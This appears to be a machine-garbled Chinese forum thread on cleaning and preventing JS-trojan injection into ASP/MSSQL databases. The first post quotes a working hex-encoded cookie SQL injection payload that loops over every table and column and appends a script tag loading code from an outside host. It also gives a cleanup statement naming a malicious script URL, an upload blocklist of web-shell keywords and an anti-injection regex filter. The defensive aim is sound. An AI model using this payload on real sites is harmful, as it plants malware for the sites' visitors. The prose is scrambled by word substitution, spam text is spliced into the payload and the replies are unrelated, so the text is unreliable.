仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 745|回复: 8
打印 上一主题 下一主题

[学习教程] MSSQL教程之sql数据库被挂马或拔出JS木马的办理计划...

[复制链接]
山那边是海 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:16:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
为多种编程语言提供了API。这些编程语言包括C、C++、Python、Java、Perl、PHP、Eiffel、Ruby和Tcl等。良多网站大概遭受到sql数据库被挂马者拔出JS木马的履历;mssql的每一个varchar、text字段都被主动拔出一段js代码,即便删除这段代码,假如没有从泉源上办理,几分钟后,js代码就又会主动拔出数据库。
这很有多是程序主动实行的,黑客先从搜刮引擎google、百度等搜刮存在毛病的接纳asp+mssql计划的网站,然后接纳小明子如许的注进扫描工具,扫描全部网站,一旦发明有sql注进的毛病大概上传毛病,黑客就经由过程各类手腕,上传本人的年夜马,如海阳木马;然后,黑客就把这个网站归入他的肉鸡列表,随时在数据库里到场本人但愿加的js代码,而这些代码常常是包括着浩瀚的的病毒、木马,终极让会见受控网站的用户的电脑中毒。<p>固然,能够经由过程sql查询剖析器实行批量代换,临时办理被拔出的js代码成绩,但是不从基本上办理全部网站存在的毛病,包含程序上和服务器平安权限,那末黑客仍是随时能够进侵你的网站数据库。<p>在sql查询剖析器里能够实行以下的代码批量交换js代码:<p>“
update表名set字段名=replace(字段名,<ScriptSrc=http://c.n%75clear3.com/CSS/c.js></Script>,)”<p>flymorn细心反省了网站,发明网站存在几个平安成绩:<p>第一,网站存在上传毛病;固然,上传文件必要办理员身份考证,也对上传文件举行了文件格局的认证,但办理员身份考证接纳了cookies,而cookies是能够被假造的,并且假如上传了图片后,不合错误该文件的内容接纳任何判别的话,那末图片木马也很有大概被上传。<p>办理措施:1删除上传文件功效(不太实践);2修正上传用户考证为session考证;3对上传后的文件内容举行考证,假如是图片木马,则删除;能够参考以下的考证代码:<p>===============判别上传文件是不是含不法字符串start================
setMyFile=server.CreateObject("Scripting.FileSystemObject")
setMyText=MyFile.OpenTextFile(Server.mappath(filePath),1)读取文本文件
sTextAll=lcase(MyText.ReadAll)
MyText.close
setMyFile=nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString=split(sStr,"|")
fori=0toubound(sNoString)
ifinstr(sTextAll,sNoString(i))then
setfiledel=server.CreateObject("Scripting.FileSystemObject")
filedel.deletefileServer.mappath(filePath)
setfiledel=nothing
Response.Write("<script>alert(您上传的文件有成绩,上传失利!);history.back();</script>")
Response.End
endif
next
=================判别上传文件是不是含不法字符串end===================<p>第二,网站存在cookies注进毛病。因为程序计划中,为了思索到减小服务器的开支,一切用户上岸后接纳cookies考证,这个cookies里保留了用户的ID和NAME,而尽人皆知,cookies是常常被黑客假造的,这是其一;别的,某些内部参数没有接纳严厉的request.form和request.querystring来猎取内容,为了烦琐,接纳了request("id")如许的体例。<p>我们晓得,ASP的request是先从form、querystring里猎取内容,假如这两个为空,则要从cookies里猎取内容,人人常常在程序计划中思索到了request.form和request.querystring的SQL注进,以是一样平常城市过滤request.form和request.querystring举行sql注进;但却恰恰忘了过滤cookies体例下的注进。我们来看下上面如许的sql语句:<p>SQL="select*from表名whereid="&request("id")<p>假如这个id刚巧是经由过程cookies来猎取值的,那末想一想,这是一件何等可骇的事啊!注进者能够轻松的假造一个名为id的子虚cookies,由于这个id的cookies是服务器分派给它的。这个cookies能够被假造成相似上面如许的一段代码:<p>dEcLaRe@svArChAr(4000);sEt@s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206IT人才网网(http://it.ad0.cn)12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0aaSvArChAr(4000));exec(@s);--<p>看晕了吧。这是使用HEX的体例举行SQL注进,能够绕过一样平常的IDS考证,只需体系存在SQL注进,下面的代码将会被实行,经由过程游标遍历数据库中的一切表和列并在列中拔出js代码。<p>办理举措:1严厉过滤request.form和request.querystring猎取的内容,坚定不必request("name")如许的体例猎取值,但凡接纳cookies保留的内容,只管不要用在sql语句里举行查询数据库操纵;2主要的用户材料只管接纳session考证,由于session是服务器真个,客户端没法假造数据,除非他有你服务器的权限。<p>能够接纳以下的提防get、post和cookies注进的代码来过滤sql注进打击:<p><%
Response.Buffer=True缓存页面
提防get注进
IfRequest.QueryString""ThenStopInjection(Request.QueryString)
提防post注进
IfRequest.Form""ThenStopInjection(Request.Form)
提防cookies注进
IfRequest.Cookies""ThenStopInjection(Request.Cookies)<p>正则子函数
FunctionStopInjection(Values)
DimregEx
SetregEx=NewRegExp
regEx.IgnoreCase=True
regEx.Global=True
regEx.Pattern="|;|#|([s+()]+(select|update|insert|delete|declare|@|exec|dbcc|alter|drop|create|backup|if|else|end|and|or|add|set|open|close|use|begin|retun|as|go|exists)[s+]*)"
DimsItem,sValue
ForEachsItemInValues
sValue=Values(sItem)
IfregEx.Test(sValue)Then
Response.Write"<ScriptLanguage=javascript>alert(不法注进!你的举动已被纪录!!);history.back(-1);</Script>"
Response.End
EndIf
Next
SetregEx=Nothing
Endfunction
%><p>把以上的代码另存为一个文件,如antisql.asp,然后在数据库毗连文件开首包括这个文件<!--#includefile="antisql.asp"-->,就能够完成全站的提防sql注进的打击了。<p>第三,做好服务器权限的分派。关于数据库的权限,只管分派最小的权限给用户利用,假如把sa或办理员的权限分上去,一旦被打击失守,这将是一个扑灭性的冲击。mssql的1433端口,飘易倡议不必的时分,最好封闭。<p>总之,平安成绩是一个综合的成绩,一个小的细节,大概让你的几个月乃至几年的血汗付之东流。我们不但要从程序上动手每一个细节,并且要细心做好服务器的平安事情,关于假造主机的用户,还要提防服务器上的跨站打击。细节决意成败。根据Ambrose所说,Sakila来自一种叫SiSwati的斯威士兰方言,也是在Ambrose的家乡乌干达附近的坦桑尼亚的Arusha的一个小镇的名字。
冷月葬花魂 该用户已被删除
沙发
发表于 2015-1-19 06:31:45 | 只看该作者
不好!如果出了错;不好调试;不好处理!其实web开发将代码分为3层:web层;业务逻辑层和数据访问层;一般对数据库的操作都在数据访问层来做;这样便于调试和维护!而且将来如果是换了数据库的话;你只需要改数据层的代码;其他层的基本可以不变!要是你在jsp中直接调用sql数据库;那么如果换了数据库呢?岂不都要改?如果报了异常呢?怎么做异常处理?
只想知道 该用户已被删除
板凳
发表于 2015-1-25 19:51:14 | 只看该作者
索引视图2k就有。但是2005对其效率作了一些改进但是schema.viewname的作用域真是太限制了它的应用面。还有一大堆的环境参数和种种限制都让人对它有点却步。
老尸 该用户已被删除
地板
发表于 2015-2-3 19:53:37 | 只看该作者
连做梦都在想页面结构是怎么样的,绝非虚言
海妖 该用户已被删除
5#
发表于 2015-2-9 04:58:32 | 只看该作者
如果我们从集合论(关系代数)的角度来看,一张数据库的表就是一组数据元的关系,而每个SQL语句会改变一种或数种关系,从而产生出新的数据元的关系(即产生新的表)。
兰色精灵 该用户已被删除
6#
发表于 2015-2-26 23:58:30 | 只看该作者
但是随着数据量的增大,这种成本差距会逐渐减小,趋于相等。(500万数量级只相差10%左右)
莫相离 该用户已被删除
7#
发表于 2015-3-8 18:42:46 | 只看该作者
很多书籍啊,不过个人认为看书太慢,还不如自己学。多做实际的东西,就会遇到很多问题,网上搜下解决问题。不断重复这个过程,在配合sql的F1功能。
若天明 该用户已被删除
8#
发表于 2015-3-16 11:14:41 | 只看该作者
从底层原理到表层引用,书籍多的很。个人认为没有什么那本书好?这样的说法。主要看和个人的学习方法是否适合。
因胸联盟 该用户已被删除
9#
发表于 2015-3-22 22:46:30 | 只看该作者
其中最有名的应该是row_number了。这个终于解决了用临时表生成序列号的历史,而且SQLServer2005的row_number比Oracle的更先进。因为它把Orderby集成到了一起,不用像Oracle那样还要用子查询进行封装。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-9 06:03

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表